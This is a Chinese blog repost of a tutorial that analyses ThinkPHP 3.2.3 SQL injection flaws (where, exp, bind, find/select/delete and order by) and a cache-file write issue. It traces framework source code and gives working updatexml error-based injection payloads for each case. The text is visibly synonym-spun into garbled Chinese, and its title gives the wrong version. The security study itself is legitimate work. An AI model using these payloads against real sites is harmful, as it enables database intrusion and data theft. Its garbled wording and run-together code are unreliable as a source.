首页 » SEO优化 » thinkphp313破绽技巧_原创萌新也能看懂的ThinkPHP323马脚分析

thinkphp313破绽技巧_原创萌新也能看懂的ThinkPHP323马脚分析

访客 2024-12-06 0

扫一扫用手机浏览

文章目录 [+]

网上关于ThinkPHP的漏洞剖析文章有很多,本日禀享的内容是 i 春秋论坛作者佳哥原创的文章。
本文是作者在学习ThinkPHP3.2.3漏洞剖析过程中的一次完全的记录,非常适宜初学者,文章未经容许禁止转载!

注:i 春秋"大众年夜众号旨在为大家供应更多的学习方法与技能技巧,文章仅供学习参考。

thinkphp313破绽技巧_原创萌新也能看懂的ThinkPHP323马脚分析

where注入

thinkphp313破绽技巧_原创萌新也能看懂的ThinkPHP323马脚分析
(图片来自网络侵删)

在掌握器中,写个demo,利用字符串办法作为where传参时存在注入。

public functiongetuser(){ $user = M('User')->where('id='.I('id'))->find(); dump($user);}

在变量user地方进行断点,PHPSTROM F7进入,I方法获取传入的参数。

switch(strtolower($method)) { case 'get' : $input =& $_GET; break; case 'post' : $input =& $_POST; break; case 'put' : if(is_null($_PUT)){ parse_str(file_get_contents('php://input'), $_PUT); } $input = $_PUT; break; case 'param' : switch($_SERVER['REQUEST_METHOD']) { case 'POST': $input=$_POST; break; case 'PUT': if(is_null($_PUT)){ parse_str(file_get_contents('php://input'), $_PUT); } $input = $_PUT; break; default: $input=$_GET; } break; ......

重点看过滤函数

先利用htmlspecialchars函数过滤参数,在第402行,利用think_filter函数过滤常规sql函数。

function think_filter(&$value){ // TODO 其他安全过滤 // 过滤查询分外字符 if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){ $value .= ' '; }}

在where方法中,将$where的值放入到options["where"]数组中。

连续跟进查看find方法,第748行。

$options = $this->_parseOptions($options);

在数组$options中增加

'table'=>'tp_user','model'=>'User',随后F7跟进select方法。

public function select($options=array()) { $this->model= $options['model']; $this->parseBind(!empty($options['bind'])?$options['bind']:array()); $sql = $this->buildSelectSql($options); $result = $this->query($sql,!empty($options['fetch_sql']) ? true : false); return $result;}

跟进buildSelectSql方法,连续在跟进parseSql方法,这里可以看到天生完全的sql语句。

这里紧张查看parseWhere方法

跟进parseThinkWhere方法

protected function parseThinkWhere($key,$val) { $whereStr = ''; switch($key) { case '_string': // 字符串模式查询条件 $whereStr = $val; break; case '_complex': // 复合查询条件 $whereStr = substr($this->parseWhere($val),6); break;

$key为_string,以是$whereStr为传入的参数的值,末了parserWhere方法返回(id=1p),以是终极payload为:

1) and 1=updatexml(1,concat(0x7e,(user()),0x7e),1)--+

exp注入

漏洞demo,这里利用全局数组进行传参(不要用I方法),漏洞才能生效。

public functiongetuser(){ $User = D('User'); $map = array('id' => $_GET['id']); $user = $User->where($map)->find(); dump($user);}

直接在$user进行断点,F7跟进,跳过where方法,跟进

find->select->buildSelectSql->parseSql->parseWhere

跟进parseWhereItem方法,此时参数$val为一个数组,{‘exp’,‘sql注入exp’}

此时当$exp知足exp时,将参数和值就行拼接,以是终极paylaod为:

id[0]=exp&id[1]==1 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))--+

上面至于为什么不能用I方法,缘故原由是在过滤函数think_filter中能匹配到exp字符,以是在exp字符后面加了一个空格,导致在parseWhereItem方法中无法即是exp。

if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value))

bind注入

漏洞demo

public functiongetuser(){ $data['id'] = I('id'); $uname['username'] = I('username'); $user = M('User')->where($data)->save($uname); dump($user);}

F8跟进save方法

天生sql语句在update方法中:

public function update($data,$options) { $this->model= $options['model']; $this->parseBind(!empty($options['bind'])?$options['bind']:array()); $table= $this->parseTable($options['table']); $sql = 'UPDATE ' . $table . $this->parseSet($data); if(strpos($table,',')){// 多表更新支持JOIN操作 $sql .= $this->parseJoin(!empty($options['join'])?$options['join']:''); } $sql .= $this->parseWhere(!empty($options['where'])?$options['where']:''); if(!strpos($table,',')){ //单表更新支持order和lmit $sql .=$this->parseOrder(!empty($options['order'])?$options['order']:'') .$this->parseLimit(!empty($options['limit'])?$options['limit']:''); } $sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:''); return $this->execute($sql,!empty($options['fetch_sql']) ? true : false); }

在parseSet方法中,可以将传入的参数更换成:0。

在bindParam方法中,$this->bind属性返回array(':0'=>参数值)。

protected function bindParam($name,$value){ $this->bind[':'.$name]= $value;}

连续跟进parseWhere->parseWhereItem方法,当exp为bind时,就会在参数值前面加个冒号(:)。

由于在sql语句中有冒号,连续跟进excute方法,这里将:0更换成了第二个参数的值。

以是终极的payload为:

id[0]=bind&id[1]=0 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))&username=fanxing

find/select/delete注入

先剖析find注入,在掌握器中写个漏洞demo。

public function getuser(){ $user = M('User')->find(I('id')); dump($user);}

当传入id[where]=1p时候,在user进行断点,F7跟进find->_parseOptions方法:

$options['where']为字符串,导致不能实行_parseType方法转化数据,进行跟进select->buildSelectSql->parseSql->parseWhere方法,传入的$where为字符串,直接实行了if语句。

protected function parseWhere($where) { $whereStr = ''; if(is_string($where)) { // 直策应用字符串条件 $whereStr = $where; ...... } return empty($whereStr)?'':' WHERE '.$whereStr;

当传入id=1p,就不能进行注入了,详细缘故原由在find->_parseOptions->_parseType方法,将传入的参数进行了强转化为整形。

以是,payload为:

?id[where]=1 and 1=updatexml(1,concat(0x7e,(user()),0x7e),1)

select和delete事理同find方法一样,只是delete方法多增加了一个判断是否为空。

if(empty($options['where'])){ // 如果条件为空 不进行删除操作 除非设置 1=1 return false; } if(is_array($options['where']) && isset($options['where'][$pk])){ $pkValue =$options['where'][$pk]; } if(false === $this->_before_delete($options)) { return false; }

order by注入

先在掌握器中写个漏洞demo

public function user(){ $data['username'] = array('eq','admin'); $user = M('User')->where($data)->order(I('order'))->find(); dump($user);}

在user变量处断点,F7跟进,find->select->buildSelectSql->parseSql方法。

$this->parseOrder(!empty($options['order'])?$options['order']:''),

当$options['order']参数参在时,跟进parseOrder方法。

当不为数组时,直接返回order by + 注入pyload,以是注入payload为:

order=id and(updatexml(1,concat(0x7e,(select user())),0))

缓存漏洞

在ThinkPHP3.2中,缓存函数有F方法和S方法,两个方法有什么差异呢,官方先容如下:

F方法:相称于PHP自带的file_put_content和file_get_content函数,没有太多存在韶光的观点,是文件存储数据的办法。
常用于文件配置。
S方法:文件缓存,有生命时长,韶光到期后缓存内容会得到更新。
常用于单页面data缓存。

这里F方法就不先容了,直接看S方法。

public function test(){ S('name',I('test'));}

跟进查看S方法

set方法写入缓存

跟进filename方法,此方法获取写入文件的路径,保存在

../Application/Runtime/Temp目录下

private function filename($name) { $name = md5(C('DATA_CACHE_KEY').$name); if(C('DATA_CACHE_SUBDIR')) { // 利用子目录 $dir =''; for($i=0;$i<C('DATA_PATH_LEVEL');$i++) { $dir .= $name{$i}.'/'; } if(!is_dir($this->options['temp'].$dir)) { mkdir($this->options['temp'].$dir,0755,true); } $filename = $dir.$this->options['prefix'].$name.'.php'; }else{ $filename = $this->options['prefix'].$name.'.php'; } return $this->options['temp'].$filename; }

并将S传入的name进行md5值作为文件名,终极通过file_put_contents函数写入文件。

以上是本日禀享的内容,大家看懂了吗?记得要实际动手练习一下,才能加深印象哦~

标签:

相关文章

php获取cpu负载技巧_Linux篇3CPU之负载实战

在仿照故障场景之前,先来理解一个压力测试工具:stress(提示:生产环境慎用,会影响线上做事)这个工具有些系统可能没有安装,须要...

SEO优化 2024-12-08 阅读0 评论0